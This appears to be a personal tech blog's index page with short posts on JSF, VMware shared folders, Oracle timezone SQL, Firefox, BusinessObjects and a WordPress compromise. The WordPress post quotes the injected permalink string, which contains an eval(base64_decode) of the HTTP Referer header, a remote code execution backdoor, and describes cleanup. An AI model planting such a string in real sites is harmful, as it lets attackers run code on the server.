Using JSF 1.2 on Oracle Workshop for Weblogic (Portal 10.3)
Posted by watashii | Filed under Programming, Web
When choosing facets during the creation of a new portal web project, the built-in Sun RI JSF 1.2 (together with JSTL 1.2) facets cannot be selected. Here are the recommended (by Oracle) steps to get around this problem. Note that this is because Apache Beehive Page Flow has a dependecy with JSF 1.2, therefore only follow this if not using the page flow integration components provided by Beehive.
Tags: facets, jsf, jstl, portal, weblogic
Enable & Setup Sharing Folders in VMWare Player 2.0+
Posted by watashii | Filed under Software

To enable sharing folders on VMWare Player guest OS (without Workstation etc), the following entries can be added in the .VMX file:
isolation.tools.hgfs.disable = "FALSE"
sharedFolder.maxNum = "1"
sharedFolder0.present = "TRUE"
sharedFolder0.enabled = "TRUE"
sharedFolder0.readAccess = "TRUE"
sharedFolder0.writeAccess = "TRUE"
sharedFolder0.hostPath = "C:\"
sharedFolder0.guestName = "MyHostCDrive"
sharedFolder0.expiration = "never"
Load your Windows guest OS and go to the VMWare Player menu > Sharing Folders… > Then check ‘Always Enable’
Your shared folder on Windows host OS (in this example C:\) can now be accessed on the guest OS via \\.host\Shared Folders\
To add more shared folders, increase the value of maxNum in .VMX file, and copy the same config settings for sharedFolder0.XXX into sharedFolder1.XXX…sharedFolder2.XXX and so forth.
Tags: shared folders, vmware, vmx
Oracle Timezone Conversions – GMT to localtime (and back)
Posted by watashii | Filed under Oracle, Programming
GMT to Local Time
Convert a datetime value (which has no timezone info, but assumed as GMT/UTC) to a local datetime (based on timezone parameter as set by SESSIONTIMEZONE, eg ‘+11:00′):
SELECT CAST((FROM_TZ(CAST(TO_DATE('1999-12-01 11:00:00',
'YYYY-MM-DD HH24:MI:SS') AS TIMESTAMP), 'GMT')
AT LOCAL) AS DATE) "Local Time"
FROM DUAL;
Local Time
--------------------------------------------------
1/12/1999 10:00:00 PM
Tags: gmt, localtime, oracle, timezone, utc
Syntax Highlight Code On Any Page Using Google Code Prettify
Posted by watashii | Filed under Programming, Web

The Google Code Prettify is a JavaScript module that allows syntax highlighting of any code snippets on a HTML page. Setting this up on any web page is a simple 3 step process, and is supported on most common browsers.
[Demo] (Based on: prettify-21-May-2009.zip)
[Download Source Files]
Tags: highlight, html, javascript, prettify, syntax
Unix LS Command With Colors… Without the —color Option
Posted by watashii | Filed under Programming, Unix

Having command line text in colors makes things easier to read. For example the ls command for listing directories and files. In some Unix environments, the ls command may not support the –color option to let us do that (as it requires GNU ls). So how can we workaround this to add color to ls?
Here are my steps to make it happen. Note i’m no Unix guru, and I didn’t have time to perfect it.. but it gets the job done!
Live Messenger 8.1/8.5 Bypass Mandatory Upgrade
Posted by watashii | Filed under Software, Web

Today when logging into my Windows Live Messenger 8.1, I received a message forcing me to upgrade to the latest Windows Live Messenger (2009). This was discussed on their blog less than 1 month ago (thanks for the short heads-up). However, like many others, upgrading to the 2009 version was not ideal. That is: it just doesn’t work at all.
For me, I ran into problems logging in (via my workplace), as I kept getting the error: “Signing in to Windows Live Messenger failed because the authentication service is not compatible with this version of the program.
Error code: 8100030f”. And NOTHING in the online help provided any clues with this message!
So the only resolution for me was to find a way to continue using the old version. Here I found a workaround to skip the mandatory upgrade (I’m on XP, however Vista should work also).
Tags: live messenger, msn, windows
WordPress Code At The End Of URLs, Hack?
Posted by watashii | Filed under WordPress

http://blog.watashii.com/2009/09/05/wordpress-code-at-the-end-of-urls-hack/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/
Possibly a new WordPress hack happening at the moment? Just got this weird code appended at the end of every URL on my WordPress blog. This is due to the Permalink Settings being changed to a custom one. To revert it back, simply go to your [Dashboard > Settings > Permalink], and revert the Custom Structure back to your original default option.
I’ve also noticed there is a few more users (a new Administrator and a bunch of Subscribers) being added by this hack [Dashboard > Users]. You may also notice the new administrator user is hidden from display. What I did was to view the page source to pull their User ID. Then edit this user to demote it to a subscriber (http://your_blog_url/wp-admin/user-edit.php?user_id=XXX), and rename their javascripted first name. Thereafter deleted these extra subscribers.
Also I upgraded to the latest version WP 2.8.4 from 2.7.
Follow discussion here.
Vacuum Database to Speedup Firefox
Posted by watashii | Filed under Software

Firefox performance can be improved by defragmenting the internal SQLite database. This can be done by running a vacuum command within Firefox, as explained in Mozilla Links. The process are as follows:
1) Open Tools > Error Console (or Press Ctrl + Shift + J)
2) In the Code text box, paste the following (in one single line)
Components.classes["@mozilla.org/browser/nav-history-service;1"].
getService(Components.interfaces.nsPIPlacesDatabase).
DBConnection.executeSimpleSQL("VACUUM");
Note: Make sure the double-quotes are normal quotes and not slanted quotes
3) Press Evaluate. Firefox will freeze for a few seconds while the database is being defragmented.
A handier add-on extension is also available to perform this action.
Tags: firefox, performance, vacuum
BIAR File Command Line Import – Bypassing Import Wizard
Posted by watashii | Filed under BusinessObjects, Software, Unix
The command line to import the BusinessObjects Enterprise (XIR2 Unix) exported biar file can be done using the following command:
java -jar <BOBJE_HOME>/bobje/java/lib/InstallEntSdkWrapper.jar 'cms_name' 'admininistrator' 'admin_password' 'secEnterprise' <PATH_TO>/MyBiarFile.biar
[InstallEntSdkWrapper.main] Connecting to CMS Development as administrator
[InstallEntSdkWrapper.main] BIAR Imported Successfully
Tags: biar, BusinessObjects, import wizard
BusinessObjects InfoView LDAP Authentication Error
Posted by watashii | Filed under BusinessObjects, Software
Suddenly one day I got the following error when logging into InfoView via LDAP (with SSL):
Account Information Not Recognized: The secLdap plugin failed to connect to the specified hosts.
However when logging into CMC via LDAP there were no problems.
The solution is to do with the cacerts file (and .keystore, if using mutual authentication). Usually this is caused by an expired certificate. Server authentication (or mutual authentication) does not verify the certificates when LDAP authentication is via CMC.
To fix the problem, obtain the valid certificates then recreate the necessary cacerts and .db files. Go through the CMC LDAP configuration wizard to validate it, then restart the CMS for settings to take effect.
Tags: authentication, BusinessObjects, infoview, ldap

